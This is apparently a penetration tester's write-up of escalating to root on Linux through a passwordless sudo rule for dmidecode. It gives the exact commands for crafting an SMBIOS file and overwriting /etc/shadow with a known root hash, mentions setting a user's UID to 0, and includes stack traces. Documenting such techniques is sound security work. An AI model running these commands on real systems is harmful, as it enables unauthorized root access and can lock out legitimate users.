One of the most basic privilege escalation strategies is to look for dangerous sudo configurations. The ability of programs such as vim to execute arbitrary commands is well known. Wildcards can lend seemingly innocuous commands a surprising amount of power. Even more dangerous are commands without set arguments: it is not always remembered that this means the command can be run with any arguments the user specifies. The capabilities of such commands to execute other programs, or to read and write sensitive files, must be carefully investigated.
On a recent engagement, I observed the following sudo configuration:
testuser@testhost:~ $ sudo -l
User testuser may run the following commands on testhost:
(ALL) NOPASSWD: /usr/sbin/dmidecode
dmidecode is a utility for reading system hardware information in the SMBIOS format: a standard maintained by the Distributed Management Task Force. https://www.nongnu.org/dmidecode/ is the implementation present in most Linux distributions, including Debian and Red Hat, and was the focus of this investigation.
testuser@testhost:~ $ /usr/sbin/dmidecode -h
Usage: dmidecode [OPTIONS]
Options are:
-d, --dev-mem FILE Read memory from device FILE (default: /dev/mem)
-h, --help Display this help text and exit
-q, --quiet Less verbose output
-s, --string KEYWORD Only display the value of the given DMI string
-t, --type TYPE Only display the entries of given type
-u, --dump Do not decode the entries
--dump-bin FILE Dump the DMI data to a binary file
--from-dump FILE Read the DMI data from a binary file
--no-sysfs Do not attempt to read DMI data from sysfs files
--oem-string N Only display the value of the given OEM string
-V, --version Display the version and exit
It should be apparent that dmidecode has some powerful I/O capabilities:
note the --dev-mem
and --dump-bin
options. By passing a carefully
constructed SMBIOS file as a memory device, we can cause dmidecode to
write nearly arbitrary output to --dump-bin
.
dmiwrite
will wrap an input payload in an SMBIOS file that can be read as a
memory device by dmidecode. --dump-bin
will then cause dmidecode to write the
payload to the destination specified, prepended with 32 null bytes. These do
not prevent privilege escalation.
We will overwrite /etc/shadow
with a copy containing a known root
password hash. We can then su
to root. Of course, this may lock other
users out of the system. In the engagement where I employed this, I used
a separate file read vulnerability to first obtain /etc/shadow, which I
used as a template, and restored /etc/shadow after escalating to root.
Another method is to set the unprivileged account to UID 0 in
/etc/passwd. Your environment and operational needs may vary.
make dmiwrite
./dmiwrite trojan_shadow.in evil.dmi
Copy evil.dmi
to the target, then:
sudo dmidecode --no-sysfs -d evil.dmi --dump-bin /etc/shadow
trojan_shadow.in
should begin with a newline to prevent the null bytes from
interfering with the first entry.
If the target system is using an older version of dmidecode, you may need to omit the --no-sysfs option.
Format is 32-bit SMBIOS 2.1.
dmidecode stack trace just prior to file write:
#0 write_dump (base=0x20, len=, data=, dumpfile= "/etc/shadow", add=0x0) at util.c:254
#1 dmi_table_dump (buf= "\nroot:", len=) at dmidecode.c:4607
#2 dmi_table (base=0x0, len=, num=0x1, ver=0x20100) at dmidecode.c:4778
#3 smbios_decode (buf= "_SM_", devmem= "evil.dmi", flags=0x1) at dmidecode.c:4887
#4 main (argc=, argv=) at dmidecode.c:5107
The 32 byte offset in write_dump is hardcoded space for the SMBIOS entry point structure and results in an fseek in the dump file to that offset. This appears to be unavoidable, but by specifying an entry point length of zero, we can prevent the second call to write_dump, below, from actually writing out the entry point structure, filling it with nulls instead.
#0 write_dump (base=0x0, len=0x0, data=, dumpfile= "/etc/shadow", add=0x1) at util.c:254
#1 smbios_decode (buf= "_SM_", devmem= "evil.dmi", flags=0x0) at dmidecode.c:4900
#2 main (argc=, argv=) at dmidecode.c:5107